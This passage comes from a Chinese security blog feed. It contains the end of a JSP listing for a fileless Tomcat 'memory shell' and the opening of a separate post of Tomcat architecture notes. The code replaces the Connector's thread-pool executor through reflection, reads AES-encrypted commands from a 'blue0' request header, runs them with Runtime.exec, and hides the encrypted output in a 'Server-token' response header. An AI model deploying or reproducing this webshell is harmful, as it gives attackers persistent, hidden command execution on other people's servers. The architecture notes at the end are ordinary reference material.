= <span class="code-snippet__keyword">new</span> javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);</span></code><code><span class="code-snippet_outer">            javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);</span></code><code><span class="code-snippet_outer">            cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, <span class="code-snippet__keyword">new</span> javax.crypto.spec.IvParameterSpec(KEY_VI));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            byte[] byteContent = base64Decoder.decode(content);</span></code><code><span class="code-snippet_outer">            byte[] byteDecode = cipher.doFinal(byteContent);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(byteDecode, java.nio.charset.StandardCharsets.UTF_8);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">String</span> encode(<span class="code-snippet__built_in">String</span> key, <span class="code-snippet__built_in">String</span> content) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            javax.crypto.SecretKey secretKey = <span class="code-snippet__keyword">new</span> javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);</span></code><code><span class="code-snippet_outer">            javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);</span></code><code><span class="code-snippet_outer">            cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey, <span class="code-snippet__keyword">new</span> javax.crypto.spec.IvParameterSpec(KEY_VI));</span></code><code><span class="code-snippet_outer">            byte[] byteEncode = content.getBytes(java.nio.charset.StandardCharsets.UTF_8);</span></code><code><span class="code-snippet_outer">            byte[] byteAES = cipher.doFinal(byteEncode);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> base64Encoder.encodeToString(byteAES);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">Object</span> getField(<span class="code-snippet__built_in">Object</span> object, <span class="code-snippet__built_in">String</span> fieldName) {</span></code><code><span class="code-snippet_outer">        Field declaredField;</span></code><code><span class="code-snippet_outer">        Class clazz = object.getClass();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> (clazz != <span class="code-snippet__built_in">Object</span>.class) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                declaredField = clazz.getDeclaredField(fieldName);</span></code><code><span class="code-snippet_outer">                declaredField.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> declaredField.get(object);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (NoSuchFieldException | IllegalAccessException e) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            clazz = clazz.getSuperclass();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">Object</span> getStandardService() {</span></code><code><span class="code-snippet_outer">        Thread[] threads = (Thread[]) <span class="code-snippet__keyword">this</span>.getField(Thread.currentThread().getThreadGroup(), <span class="code-snippet__string">&#34;threads&#34;</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (Thread thread : threads) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (thread == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> ((thread.getName().contains(<span class="code-snippet__string">&#34;Acceptor&#34;</span>)) &amp;&amp; (thread.getName().contains(<span class="code-snippet__string">&#34;http&#34;</span>))) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">Object</span> target = <span class="code-snippet__keyword">this</span>.getField(thread, <span class="code-snippet__string">&#34;target&#34;</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__built_in">Object</span> jioEndPoint = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    jioEndPoint = getField(target, <span class="code-snippet__string">&#34;this$0&#34;</span>);</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (jioEndPoint == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        jioEndPoint = getField(target, <span class="code-snippet__string">&#34;endpoint&#34;</span>);</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>();</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> jioEndPoint;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> threadexcutor <span class="code-snippet__keyword">extends</span> ThreadPoolExecutor {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue&lt;Runnable&gt; workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">super</span>(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">String</span> getRequest() {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), <span class="code-snippet__string">&#34;threads&#34;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">for</span> (Thread thread : threads) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (thread != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__built_in">String</span> threadName = thread.getName();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (!threadName.contains(<span class="code-snippet__string">&#34;exec&#34;</span>) &amp;&amp; threadName.contains(<span class="code-snippet__string">&#34;Acceptor&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__built_in">Object</span> target = getField(thread, <span class="code-snippet__string">&#34;target&#34;</span>);</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">if</span> (target <span class="code-snippet__keyword">instanceof</span> Runnable) {</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__built_in">Object</span>[] objects = (<span class="code-snippet__built_in">Object</span>[]) getField(getField(getField(target, <span class="code-snippet__string">&#34;this$0&#34;</span>), <span class="code-snippet__string">&#34;nioChannels&#34;</span>), <span class="code-snippet__string">&#34;stack&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                    ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[<span class="code-snippet__number">0</span>], <span class="code-snippet__string">&#34;appReadBufHandler&#34;</span>), <span class="code-snippet__string">&#34;byteBuffer&#34;</span>);</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__built_in">String</span> a = <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(heapByteBuffer.array(), <span class="code-snippet__string">&#34;UTF-8&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">if</span> (a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>) &gt; <span class="code-snippet__number">-1</span>) {</span></code><code><span class="code-snippet_outer">                                        System.out.println(a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>));</span></code><code><span class="code-snippet_outer">                                        System.out.println(a.indexOf(<span class="code-snippet__string">&#34;\r&#34;</span>, a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>)) - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">                                        <span class="code-snippet__built_in">String</span> b = a.substring(a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>) + <span class="code-snippet__string">&#34;blue0&#34;</span>.length() + <span class="code-snippet__number">1</span>, a.indexOf(<span class="code-snippet__string">&#34;\r&#34;</span>, a.indexOf(<span class="code-snippet__string">&#34;blue0&#34;</span>)) - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                        b = decode(DEFAULT_SECRET_KEY, b);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                        <span class="code-snippet__keyword">return</span> b;</span></code><code><span class="code-snippet_outer">                                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                } <span class="code-snippet__keyword">catch</span> (Exception var11) {</span></code><code><span class="code-snippet_outer">                                    System.out.println(var11);</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Exception ignored) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> getResponse(byte[] res) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), <span class="code-snippet__string">&#34;threads&#34;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">for</span> (Thread thread : threads) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (thread != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__built_in">String</span> threadName = thread.getName();</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (!threadName.contains(<span class="code-snippet__string">&#34;exec&#34;</span>) &amp;&amp; threadName.contains(<span class="code-snippet__string">&#34;Acceptor&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__built_in">Object</span> target = getField(thread, <span class="code-snippet__string">&#34;target&#34;</span>);</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">if</span> (target <span class="code-snippet__keyword">instanceof</span> Runnable) {</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                                    ArrayList objects = (ArrayList) getField(getField(getField(getField(target, <span class="code-snippet__string">&#34;this$0&#34;</span>), <span class="code-snippet__string">&#34;handler&#34;</span>), <span class="code-snippet__string">&#34;global&#34;</span>), <span class="code-snippet__string">&#34;processors&#34;</span>);</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__built_in">Object</span> tmp_object : objects) {</span></code><code><span class="code-snippet_outer">                                        RequestInfo request = (RequestInfo) tmp_object;</span></code><code><span class="code-snippet_outer">                                        Response response = (Response) getField(getField(request, <span class="code-snippet__string">&#34;req&#34;</span>), <span class="code-snippet__string">&#34;response&#34;</span>);</span></code><code><span class="code-snippet_outer">                                        response.addHeader(<span class="code-snippet__string">&#34;Server-token&#34;</span>, encode(DEFAULT_SECRET_KEY,<span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">String</span>(res, <span class="code-snippet__string">&#34;UTF-8&#34;</span>)));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                    }</span></code><code><span class="code-snippet_outer">                                } <span class="code-snippet__keyword">catch</span> (Exception var11) {</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Exception ignored) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> execute(Runnable command) {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            System.out.println(&#34;123&#34;);</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">String</span> cmd = getRequest();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (cmd.length() &gt; <span class="code-snippet__number">1</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    Runtime rt = Runtime.getRuntime();</span></code><code><span class="code-snippet_outer">                    Process process = rt.exec(cmd);</span></code><code><span class="code-snippet_outer">                    java.io.InputStream <span class="code-snippet__keyword">in</span> = process.getInputStream();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    java.io.InputStreamReader resultReader = <span class="code-snippet__keyword">new</span> java.io.InputStreamReader(<span class="code-snippet__keyword">in</span>);</span></code><code><span class="code-snippet_outer">                    java.io.BufferedReader stdInput = <span class="code-snippet__keyword">new</span> java.io.BufferedReader(resultReader);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__built_in">String</span> s = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__built_in">String</span> tmp = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">while</span> ((tmp = stdInput.readLine()) != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                        s += tmp;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (s != <span class="code-snippet__string">&#34;&#34;</span>) {</span></code><code><span class="code-snippet_outer">                        byte[] res = s.getBytes(StandardCharsets.UTF_8);</span></code><code><span class="code-snippet_outer">                        getResponse(res);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (IOException e) {</span></code><code><span class="code-snippet_outer">                    e.printStackTrace();</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.execute(command, <span class="code-snippet__number">0</span>L, TimeUnit.MILLISECONDS);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">%&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">    NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();</span></code><code><span class="code-snippet_outer">    ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, <span class="code-snippet__string">&#34;executor&#34;</span>);</span></code><code><span class="code-snippet_outer">    threadexcutor exe = <span class="code-snippet__keyword">new</span> threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());</span></code><code><span class="code-snippet_outer">    nioEndpoint.setExecutor(exe);</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p><span style="font-weight: bold;font-size: 26px;"></span></p><p><span style="font-weight: bold;font-size: 26px;">后记</span></p><p>抛砖引玉，按照这个思路，Connector中应该还有其他组件内存马可以实现。</p><p>请忽略我拙劣的coding能力。</p><p>感谢su18师傅和园长的鞭策。</p><p><br/></p><p>文中部分内容参考：</p><p><span style="color: rgb(0, 56, 132);"><a href="https://juejin.cn/post/6844903874122383374" target="_blank">https://juejin.cn/post/6844903874122383374</a></span></p><p><span style="color: rgb(0, 56, 132);"><a href="https://cloud.tencent.com/developer/article/1745954" target="_blank">https://cloud.tencent.com/developer/article/1745954</a></span></p><p><span style="color: rgb(0, 56, 132);"><a href="http://chujunjie.top/2019/04/21/Tomcat" target="_blank">http://chujunjie.top/2019/04/21/Tomcat</a></span>源码学习笔记-Connector组件-一/</p></article>



<p><a href="2247483826">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ae405666&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483826%26idx%3D1%26sn%3D88a9534b9c21d657ff7351c5719a70ca%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 30 Jul 2022 00:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Tomcat笔记（其一）</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483784&amp;idx=1&amp;sn=684c5c23dbb1474c209fe201b33c4c41</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>深蓝</span> <span>2022-07-29 01:14</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5a9e31a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr4FibB6yVU9fn8icFnibNgL8MeH9lfYho0Hk3JAYYZnicJ02MS6mY48rMCk4dML2kXV69tXC2zibrhqWwg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 26px;font-weight: bold;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">前言</span><br/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oM8j-1658110999450&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J6D6-1658110999451&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考书籍《Tomcat架构解析》。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5VyM-1658111043021&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xNJe-1658111043019&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;书中主要以启发式讲解tomcat架构为主，讲的很详细，本文主要是梳理逻辑。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FLe8-1658111187773&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dt2u-1658111187769&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F2Yc-1658111993363&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gofy-1658111993364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从最基本的功能来讲，我们可以将服务器描述为这样一个应用：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KS9Z-1658111034778&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0q9A-1658111034776&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;它接收其他计算机（客户端）发来的请求数据并进行解析，完成相关业务处理，然后把处理结果作为响应返回给请求计算机（客户端）。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:12},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mgHp-1658112019133&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e8a1-1658112019131&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;基本架构&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><p>参考书籍《Tomcat架构解析》。</p><p>书中主要以启发式讲解tomcat架构为主，讲的很详细，本文主要是梳理逻辑。</p></article><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oM8j-1658110999450&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J6D6-1658110999451&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考书籍《Tomcat架构解析》。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5VyM-1658111043021&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xNJe-1658111043019&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;书中主要以启发式讲解tomcat架构为主，讲的很详细，本文主要是梳理逻辑。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FLe8-1658111187773&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dt2u-1658111187769&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F2Yc-1658111993363&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gofy-1658111993364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从最基本的功能来讲，我们可以将服务器描述为这样一个应用：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KS9Z-1658111034778&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0q9A-1658111034776&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;它接收其他计算机（客户端）发来的请求数据并进行解析，完成相关业务处理，然后把处理结果作为响应返回给请求计算机（客户端）。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:12},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mgHp-1658112019133&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e8a1-1658112019131&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;基本架构&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mTVB-1658126361046&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/d/WEBRESOURCE74d403cf4e65a84b198b012846122d8d&#34;,&#34;width&#34;: